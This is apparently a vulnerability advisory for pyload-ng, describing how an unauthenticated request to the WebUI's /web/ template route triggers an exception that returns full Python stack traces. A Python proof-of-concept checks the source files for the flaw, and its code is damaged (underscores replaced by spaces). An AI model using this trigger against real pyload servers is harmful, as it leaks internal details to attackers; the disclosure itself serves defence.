PT-2026-59618 · Pypi · Pyload-Ng

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.3

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

pyload-ng WebUI returns full Python traceback details to clients on unhandled exceptions.
Because /web/<path:filename> is reachable without authentication and renders attacker-controlled template names, an unauthenticated user can reliably trigger a server exception (for example by requesting a non-existent template) and receive internal stack traces in the HTTP response.

Details

The issue is caused by the combination of:
  1. Unauthenticated template-render route:
  • src/pyload/webui/app/blueprints/app blueprint.py:32-36
  • @bp.route("/web/<path:filename>", endpoint="web")
  • data = render template(filename) with user-controlled filename
  • no @login required(...) on this route
  1. Global exception handler exposes traceback to response:
  • src/pyload/webui/app/handlers.py:14-27
  • tb = traceback.format exc()
  • messages.extend(tb.split(' '))
  • returned in rendered error page for all exceptions
  1. Error page renders all messages:
  • src/pyload/webui/app/themes/modern/templates/base.html:217-219
  • loops over messages and prints them in response HTML
So any unhandled exception can disclose internal implementation details (stack frames, source paths, exception metadata) to remote unauthenticated clients.
This is a core behavior issue in default WebUI error handling

PoC

python
#!/usr/bin/env python3
from  future  import annotations

import re
import shutil
import tempfile
import traceback
from pathlib import Path


ROOT = Path( file ).resolve().parent / "pyload" / "src" / "pyload"


def read text(rel: str) -> str:
  return (ROOT / rel).read text(encoding="utf-8")


def route has no login required(app blueprint: str) -> bool:
  m = re.search(
    r'@bp.route("/web/<path:filename>", endpoint="web")s*'
    r"def render(filename):(?P<body>.*?)(?:

@bp.route|Z)",
    app blueprint,
    re.DOTALL,
  )
  if not m:
    return False
  block start = max(0, m.start() - 200)
  block = app blueprint[block start:m.end()]
  return "@login required(" not in block


def main() -> None:
  workdir = Path(tempfile.mkdtemp(prefix="pyload-traceback-infoleak-"))
  try:
    app blueprint = read text("webui/app/blueprints/app blueprint.py")
    handlers = read text("webui/app/handlers.py")
    base template = read text("webui/app/themes/modern/templates/base.html")

    unauth web route = '/web/<path:filename>' in app blueprint and route has no login required(app blueprint)
    user controlled template name = "render template(filename)" in app blueprint
    handler uses traceback = "traceback.format exc()" in handlers
    handler appends trace = "messages.extend(tb.split('
'))" in handlers
    global exception handler = "(Exception, handle exception error)" in handlers
    template renders messages = "{% for message in messages %}" in base template and "{{message}}" in base template

    leaked traceback keyword = False
    leaked exception type = False
    try:
      raise RuntimeError("forced-poc-error")
    except Exception:
      tb = traceback.format exc()
      messages = [f"Error 500: forced-poc-error"]
      messages.extend(tb.split("
"))
      joined = "
".join(messages)
      leaked traceback keyword = "Traceback (most recent call last)" in joined
      leaked exception type = "RuntimeError: forced-poc-error" in joined

    repro success = all(
      [
        unauth web route,
        user controlled template name,
        handler uses traceback,
        handler appends trace,
        global exception handler,
        template renders messages,
        leaked traceback keyword,
        leaked exception type,
      ]
    )

    print("unauth web route=", unauth web route)
    print("user controlled template name=", user controlled template name)
    print("handler uses traceback=", handler uses traceback)
    print("handler appends trace=", handler appends trace)
    print("global exception handler=", global exception handler)
    print("template renders messages=", template renders messages)
    print("leaked traceback keyword=", leaked traceback keyword)
    print("leaked exception type=", leaked exception type)
    print("traceback infoleak repro success=", repro success)
  finally:
    shutil.rmtree(workdir, ignore errors=True)
    print("cleanup done=True")


if  name  == " main ":
  main()
Observed result:
text
unauth web route= True
user controlled template name= True
handler uses traceback= True
handler appends trace= True
global exception handler= True
template renders messages= True
leaked traceback keyword= True
leaked exception type= True
traceback infoleak repro success= True
cleanup done=True

Impact

  • Vulnerability type: Information disclosure (stack trace / internal path leakage).
  • Attack surface: unauthenticated WebUI request path.
  • Exposes internal error details that help attackers map application internals and improve exploit reliability for follow-on attacks.

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-2993

Affected Products

Pyload-Ng